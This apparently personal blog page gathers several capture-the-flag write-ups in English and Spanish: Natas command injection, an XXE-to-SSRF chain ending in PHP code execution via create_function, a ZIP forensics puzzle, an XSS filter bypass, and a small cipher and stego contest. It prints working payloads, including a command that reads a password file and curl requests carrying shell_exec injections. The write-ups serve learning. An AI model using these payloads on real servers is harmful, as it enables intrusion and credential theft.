Using the flag obtained in the previous challenge, we go to the URL showed in the description and we will see the following screen.
It’s just a simple web page with a basic input form, if we type nonsense nothing happens, we proceed to click the View sourcecode and we are redirected to index-source.html
This is supposed to be the backend code of the html form.
The vulnerability in this code happens when calling the passthru function, we are reading user input directly from the needle request parameter, then saving it into the $key variable and using it without any kind of sanitization when calling the function, that’s essentially command injection. We are going to try to execute commands in the web server by exploiting this vulnerability.
Sending ;ls -la;
Results in all files on the current directory to be listed
I was a little bit lost at this point but then I remember the CTF instructions.
Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.
So we do ;cat /etc/natas_webpass/natas10;
The flag for the next level, natas10, is: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
As mentioned before, this challenge we exploit a command injection vulnerability that essentially allow us to execute arbitrary commands on the server, depending on the privileges of the user running the web server we might read, write or delete files.
Hi everybody, this is the first CTF I play this year, it was organized by the FireShell Security team (thank you so much guys!) and this the writeup for the Bad Injection challenge from the web category.
This challenge was special because I played with some folks from work, special thanks to yovasx2 for playing this CTF with me 🙂
The challenge starts by giving us an IP address running a web server on the Internet: http://68.183.31.62:94
There is nothing interesting in the website besides a section called List, this section displays an image with an interesting URL.
The resources are loaded using some kind of downloading script, the download script receives two parameters, file and hash, the hash corresponds to the hashed version of the value of the file parameter.
In the above code we notice two things, the location in the server were the application “lives” and also the existence of the Routes.php file, we proceed to download the file.
The custom route receives some request body and if the length is greater that 1 calls the Test function from the Custom class.
The admin route can receive two parameters, rss and order, if both exists then a validation happens, the validation checks if the request comes directly from 127.0.0.1 which is localhost, if this is true then the sort function from the Admin class is called.
Here are some other Interesting files I downloaded based on what we learned from the index.php file.
We start looking at the Custom.php and Admin.php controllers, the Custom class looks like this.
class Custom extends Controller{
public static function Test($string){
$root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
$test = $root->name;
echo $test;
}
}
The Test method receives an string which then is parsed as an XML, the resulting object should contain a name attribute that is printed back to the user. The Admin class looks like this.
That it’s! the sort function uses the create_function method internally, the create_function method is very similar to the eval method, meaning if we can reach that part of the code, essentially we we can achieve code execution on the server 🙂 now the problem is how to do that since this function can only be called if the request is coming from localhost.
Remember the Test function accessible via the /custom path? that’s our way in! this function receives some input and then parse it as XML, we can take advantage of this vulnerable parser and exploit a vulnerability called XML External Entity (XXE) Processing which essentially allow us to load remote (or internal) resources.
I’ll explain this in the following example, on a command line we start by defining some variables so it’s more easy to work.
$ url='http://68.183.31.62:94/custom'
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=https://www.alevsk.com">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d
In the second line we are defining our XML payload, we are try to load an external resource inside the DOCTYPE tag and we are saving the response on a “variable” called test (wrapped by root and name tags), then we are doing a post request to the vulnerable service, if you are wondering why do we need &test that’s because our payload will be handled by:
The simplexml_load_string is going to process our input and then return an object, that object is expected to have a name attribute which is stored in the $test variable and then printed to the user, we are essentially using this vulnerable service as a proxy 🙂
Now, instead of querying https://www.alevsk.com we are going to do a request to http://68.183.31.62:94/admin?rss=SOME_URL&order=PAYLOAD and since the IP address of the server is the same IP of the client making the request (localhost) boom! we just bypass the admin validation and now can reach the vulnerable sort function in the Admin controller.
Exploiting the create_function call was a little bit tricky at the beginning, it required some work crafting the PHP payload in a way the final result was valid php code without any syntactic error.
According to the PHP documentation, this function receives two string parameters, the first one is the parameters and the second one is the actual code of the function we want to generate.
The sort function receives two parameters, $url and $order, we control both of them but the important one is $order because it’s going to be replaced in the string of the second parameter of the create_function function.
After some thinking I came with this idea, I’ll explain why.
Maybe I over complicate the things but I remember having some issues with single, double quotes and parentheses, anyway the result is valid PHP code :), the ($aaa=” thing at the end is important because it allow us to wrap the rest of the code (everything after shell_exec) into a string variable (like ignoring or skipping the code).
Note: Since I had access to the source code I did several test on my local environment so once I got a working payload I was able to put an exploit together, I needed to encode first the code into the xml before sending the post request.
Putting everything together looks like this.
$ url='http://68.183.31.62:94/custom'
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/admin?rss=https%3A%2F%2Fwww.website.com%2Fpath%2Fxxe.xml&order=id%2C%20null)%20%26%26%20die(shell_exec(%27ls%20-la%20%2F%27))%3B%20(%24aaa%3D%22">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2197 100 1892 100 305 6348 1023 --:--:-- --:--:-- --:--:-- 7347
total 116
drwxr-xr-x 1 root root 4096 Dec 26 18:10 .
drwxr-xr-x 1 root root 4096 Dec 26 18:10 ..
-rwxr-xr-x 1 root root 0 Dec 25 23:47 .dockerenv
drwxr-xr-x 1 root root 4096 Dec 25 23:50 app
drwxr-xr-x 1 root root 4096 Dec 4 15:47 bin
drwxr-xr-x 2 root root 4096 Apr 10 2014 boot
-rwxr-xr-x 1 root root 1122 Feb 15 2016 create_mysql_admin_user.sh
-rw-r--r-- 1 root root 31 Dec 26 03:34 da0f72d5d79169971b62a479c34198e7
drwxr-xr-x 5 root root 360 Dec 25 23:47 dev
drwxr-xr-x 1 root root 4096 Dec 25 23:55 etc
drwxr-xr-x 2 root root 4096 Apr 10 2014 home
drwxr-xr-x 1 root root 4096 Feb 15 2016 lib
drwxr-xr-x 2 root root 4096 Jan 19 2016 lib64
drwxr-xr-x 2 root root 4096 Jan 19 2016 media
drwxr-xr-x 2 root root 4096 Apr 10 2014 mnt
drwxr-xr-x 2 root root 4096 Jan 19 2016 opt
dr-xr-xr-x 331 root root 0 Dec 25 23:47 proc
drwx------ 1 root root 4096 Dec 26 18:10 root
drwxr-xr-x 1 root root 4096 Feb 15 2016 run
-rwxr-xr-x 1 root root 549 Feb 15 2016 run.sh
drwxr-xr-x 1 root root 4096 Jan 19 2016 sbin
drwxr-xr-x 2 root root 4096 Jan 19 2016 srv
-rwxr-xr-x 1 root root 67 Feb 15 2016 start-apache2.sh
-rwxr-xr-x 1 root root 29 Feb 15 2016 start-mysqld.sh
dr-xr-xr-x 13 root root 0 Jan 26 19:06 sys
drwxrwxrwt 1 root root 4096 Jan 27 03:30 tmp
drwxr-xr-x 1 root root 4096 Feb 15 2016 usr
drwxr-xr-x 1 root root 4096 Feb 15 2016 var
The flag was inside the da0f72d5d79169971b62a479c34198e7 file, so we just cat the file and got the flag: f#{1_d0nt_kn0w_wh4t_i4m_d01ng}
Para este reto nos daban un archivo comprimido zion.tar.gz, procedemos a descomprimirlo y obtenemos otro archivo llamado YouKnow.
El archivo no tiene extension pero utilizamos el comando file para ver que tipo de archivo es.
Parece un archivo de Microsoft Word Office y sabemos que los archivos docx en realidad son archivos en formato zip.
Procedemos a descomprimir YouKnow
Obtenemos varios archivos y carpetas, comenzamos a analizarlos de uno por uno, sin embargo no encontramos nada que haga referencia a la bandera del reto. (analice la imagen del conejo con un par de herramientas de esteganografÃa pero no habÃa nada)
Damos un paso atrás y abrimos el archivo YouKnow en un editor hexadecimal de su elección, you utilice Sublime
Observamos la cabecera estándar PK del formato ZIP
Al ir analizando el archivo, hacia el final, algo salta inmediatamente a la vista.
Parece que hay otro archivo Zip concatenado al primero pero los bytes están en orden inverso (observen como el archivo termina en KP, y vemos algunos strings como lmx que seria xml).
Podemos utilizar python para invertir los bytes del archivo fácilmente.
Obtenemos el archivo con los bytes invertidos y procedemos a descomprimirlo.
Obtenemos nuevamente varios archivos y carpetas.
Y en donde estaba la imagen anterior del conejo rojo ahora encontramos otra imagen, esta vez de un conejo azul que nos muestra la bandera del reto 🙂
La bandera del reto es sctf{m41nfr4m3_4cc3ss_c0d3_1337_4lw4s}
Bonus
Programe una pequeña herramienta en python llamada reverse bytes para invertir los bytes de un archivo utilizando una cli mas amigable.
usage: rbytes.py [-h] [-o OUTFILE] infile
A simple python script for reverse the bytes of a file.
Author: Lenin Alevski Huerta Arias
Year: 2018
positional arguments:
infile Input file
optional arguments:
-h, --help show this help message and exit
-o OUTFILE, --outfile OUTFILE
Output file
Este año 2018, uno de mis principales propósitos fue tratar de participar en la mayor cantidad de CTFs posibles, son como pequeños acertijos que mantienen mi mente ágil en cuanto a la seguridad informática y siempre aprendo algo nuevo cada vez que los juego.
Existen muchos recursos en Internet pero uno de los mejores, y que he estado usando los últimos meses, es CTFtime. CTFtime es un portal que recopila información acerca de varios eventos Capture The Flag que ocurren alrededor del mundo, tanto eventos presenciales como online (puedes participar remotamente), ademas de eso es una gran fuente de aprendizaje ya que siempre puedes revisar las soluciones de los retos anteriores. Si desean ver los próximos eventos tienen una lista que pueden revisar en el siguiente link
Regresando a la idea principal de este articulo, el 31 de mayo participe en el Security Fest #CTF, no resolvà tantos retos como me hubiera gustado pero si aprendi un par de cosas nuevas que les voy a compartir a continuación.
El CTF tenia tematica de The Matrix, kudos por eso!
Security Fest CTF Excess – Web Challenge
Excess fue uno de los primeros retos de la categorÃa web, en las instrucciones se nos daba un link a una pagina web y al entrar veÃamos la siguiente pantalla.
Vemos que la pagina tiene un parámetro llamado xss, inspeccionamos el código fuente del sitio web y vemos lo siguiente.
Observamos que el valor del parámetro xss es utilizado directamente por unas variables en Javascript y eso es bueno para nosotros, pues podemos inyectar código directamente sin preocuparnos por crear nuestras propias script tags.
Viendo el código anterior es claro que el sitio web es vulnerable y podemos mandar un payload como el siguiente para mostrar nuestro alert en Javascript.
En el parámetro xss enviamos:
/?xss=<strong>hello';alert(1);//</strong>
Y el código se va a inyectar de la siguiente forma:
...
..
<div class="container">
<script>var x ='hello';alert(1);//; var y = `hello';alert(1);//; var z = "hello';alert(1);//;</script>
<div class="row main">
<div class="form-header header">
...
..
Al ver su contenido nos damos cuenta de que es el responsable de nuestros dolores de cabeza.
/*
If there is no alert,
how can there be XSS?
/
/
) (
/( (\___/) )\
( #) \ ('')| ( #
||___c\ > '__||
||**** ),_/ **'|
.__ |'* ___| |___*'|
\_\ |' ( ~ ,)'|
(( |' /(. ' .)\ |
\\_|_/ <_ _____> \______________
/ '-, \ / ,-' ______ \
b'ger / (// \\) __/ / \
'./_____/
*/
window.alert = (x=>prompt("He confirm. He alert. But most of all he prompt."));
Este pequeño código esta sobrescribiendo la función nativa alert del objeto Window en nuestro contexto actual.
Es claro lo que debemos hacer, de alguna forma tenemos que devolver a Window.alert la función nativa original, existen muchas formas de resolver este reto pero mi razonamiento fue el siguiente.
var iframe = document.createElement('iframe'); // creamos un nuevo iframe
iframe.src = '';
iframe.style.display = 'none';
document.body.appendChild(iframe); // Es necesario agregarlo al documento para que su atributo contentWindow este definido
window.alert = iframe.contentWindow.alert; // Sobrescribimos la función alert de nuestro objeto Window actual con la función nativa original
alert(1); // Ejecutamos el alert original
Armamos nuestro payload y lo inyectamos en el parámetro xss.
Hola, como muchos saben, este blog esta registrado como comunidad tecnológica en Campus Party, cada año gente del estado de Michoacán nos organizamos para asistir al evento, jugar, divertirnos, aprender y sobre todo pasar un buen rato 🙂
Ser comunidad de CPMX tiene algunas ventajas por ejemplo obtener códigos de descuento y entradas gratuitas para rifar entre los miembros de la comunidad pero este año realice una dinámica diferente, hace mas o menos 1 semana anuncie en redes sociales (Facebook y Twitter) un pequeño reto CTF en donde poder ganar una entrada no fuera cuestión de suerte. Muchas gracias a todos los que participaron y felicidades a los ganadores.
A continuación dejo la solución de cada uno de los retos por si hay gente que se quedo con dudas 🙂
0x01 – 8.8.8.8 or 1.1.1.1?
A Dan Kaminsky le gusta ( ͡° ͜ ʖ ͡°) www.alevsk.com
Este reto es bastante sencillo si sabes un poco de cultura general de como funciona Internet. 8.8.8.8, 1.1.1.1 y Dan Kaminsky son claras referencias al sistema DNS.
Podemos intentar resolver esto con alguna herramienta automática como Rot13 Online o Caesar Cipher pero no hay resultados. No queda otra cosa mas que empezar a hacer un analisis del texto y aplicar distintos ataques criptograficos 🙂
Utilizamos uno de mis lenguajes de programación favoritos, python, para comenzar a recolectar estadÃsticas interesantes del texto.
Comenzamos separando el texto cifrado por espacios y contando el numero de veces que se repiten las palabras
La complejidad de este reto disminuye notoriamente ya que sabemos lo que estamos buscando en el texto, la bandera 🙂 y sabemos cual es el formato que deben seguir las mismas.
ctf_flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
En una cadena de texto lo suficientemente larga debemos encontrar un sÃmbolo que se repita siguiendo el mismo patrón que el de la bandera si no estuviera encriptada, es decir:
La palabra mas larga que arrojo nuestro análisis es whcjc4om{dzz9bk}v_pbdi_i}v3_op33_c3p39d.owvwpu, probamos “alineando” el formato de la bandera en esa palabra para ver si cumple con el patrón:
Tenemos una coincidencia 🙂 acomodamos el resto de la bandera y comenzamos a crear un diccionario con los caracteres a sustituir en el texto y podremos empezar a romper el cifrado (encontrar el alfabeto que fue usado para la sustitución)
this is l2e0 last charcex afte0 thisn the0e is r2 te0rirg .acyx l2e taye the .lee 5ill – the st20l erzsn l2e !aye e5 ir l2e0 .ez arz .elie1e !hate1e0 l2e !art t2 .elie1ex l2e taye the 0ez 5ill – l2e stal ir !2rze0larz arz i sh2! l2e h2! zee5 the 0a..it-h2le g2esx the flag is ctf_flag{dzz9bk}v-pbdi-i}v3-ap33-f3p39d.acvcp}
Mas palabras salen a la luz:
afte0 … 0 es r
l2e0 se vuelve l2er, por lo tanto en la frase this is l2er last charcex, l2er es remplazado por your y el texto tiene aun mas sentido 🙂 !!!
charce … r es n (chance)
this is your last chancex after thisn there is no turning
Tenemos suficiente texto legible para realizar una búsqueda en google y darnos cuenta que el texto es una frase famosa de la pelÃcula The Matrix
Completamos el resto del diccionario con las letras que nos hacen falta.
Nota: en este punto de la solución me di cuenta que cometà un error al momento de diseñar el reto y no se puede avanzar mas, gracias a @unmanarc por reportar el problema
Por lo tanto la bandera de este reto es ctf_flag{ddd9bk}v-pbdi-i}v3-ap33-f3p39dbacvcp}
0x03 – A new security policy standard
Si encuentras una vulnerabilidad en www.alevsk.com deberÃas reportarla utilizando los canales adecuados 🙂
Tanto el nombre del reto como la descripción nos da una pista acerca de que debemos investigar sobre nuevos estándares en polÃticas de seguridad, algunas personas se confundieron en este reto pues creÃan que tenÃan que encontrar vulnerabilidades en esta pagina, pero la solución es mas sencilla que eso.
security.txt es un estándar propuesto (similar a robots.txt) para que los sitios web puedan anunciar sus polÃticas de seguridad y consiste en publicar un archivo de texto en el directorio .well-known donde comuniquemos información importante como por ejemplo la direccion de contacto en la que los hackers pueden reportar las vulnerabilidades encontradas de nuestro sitio web, en este caso https://www.alevsk.com/.well-known/security.txt
# If you would like to report a security issue
# you may report it to me on www.alevsk.com
# ctf_flag{1999251d-df25-4d4a-846b-d4267f471b23}
Contact: [email protected]
Encryption: https://pgp.mit.edu/pks/lookup?op=get&search=0xFF4F600D674B6DED
La bandera de este reto es: ctf_flag{1999251d-df25-4d4a-846b-d4267f471b23}
0x04 – Foogle
Neo: Why do my eyes hurt? Morpheus: You’ve never used them before.
Este reto involucra esteganografÃa y es muy fácil de resolver, descargamos la imagen que nos indican las instrucciones y comenzamos a realizar el análisis, lo mas sencillo y lo primero que intentamos es ver si la imagen contiene en sus bytes alguna cadena de caracteres que tenga sentido.
Podemos utilizar la herramienta hexdump para hacer esto.
Al final del archivo hay una cadena de caracteres muy peculiar, parece que es un mensaje codificado en base64, tomamos el string y lo decodificamos con alguna herramienta como https://www.base64decode.org/
La bandera de este reto es ctf_flag{b309e05c-f224-4437-acd9-adae996142ed}
0x05 – Information leak
Información critica ha sido leakeada en los archivos de este repositorio x.x
Como la descripción nos indica, tenemos que revisar los archivos del repositorio donde esta hospedado el CTF, y no solo eso, tambien tenemos que revisar el historial de commits, vemos que en uno de los commits un archivo llamado 0x05_secret.txt fue publicado en el repositorio.
La bandera de este reto es ctf_flag{163f0835-8fc0-4fd0-b96b-dcd724cbe200}
0x06 – We can fix it!
Otro participante trato de robar la bandera de este reto pero sin querer la daño, ¿Puedes repararla? Descargar imagen
Este reto nos presentaba un codigo QR “dañado” (los bordes de la imagen han sido recortados), por lo que si tratamos de leerlo nos dará un error
Pero nada que un poco de photoshop no pueda arreglar 🙂
La bandera de este reto es ctf_flag{d55bd4f6-bff1-45b4-836e-7df1839e7d70}
Espero se hayan divertido mucho y aprendido algo nuevo al participar en este reto.
Happy hacking 🙂
This website uses cookies to improve your experience. We'll assume you're ok with this, but you can opt-out if you wish.AcceptRead More
Privacy & Cookies Policy
Privacy Overview
This website uses cookies to improve your experience while you navigate through the website. Out of these, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities of the website. We also use third-party cookies that help us analyze and understand how you use this website. These cookies will be stored in your browser only with your consent. You also have the option to opt-out of these cookies. But opting out of some of these cookies may affect your browsing experience.
Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information.
Any cookies that may not be particularly necessary for the website to function and is used specifically to collect user personal data via analytics, ads, other embedded contents are termed as non-necessary cookies. It is mandatory to procure user consent prior to running these cookies on your website.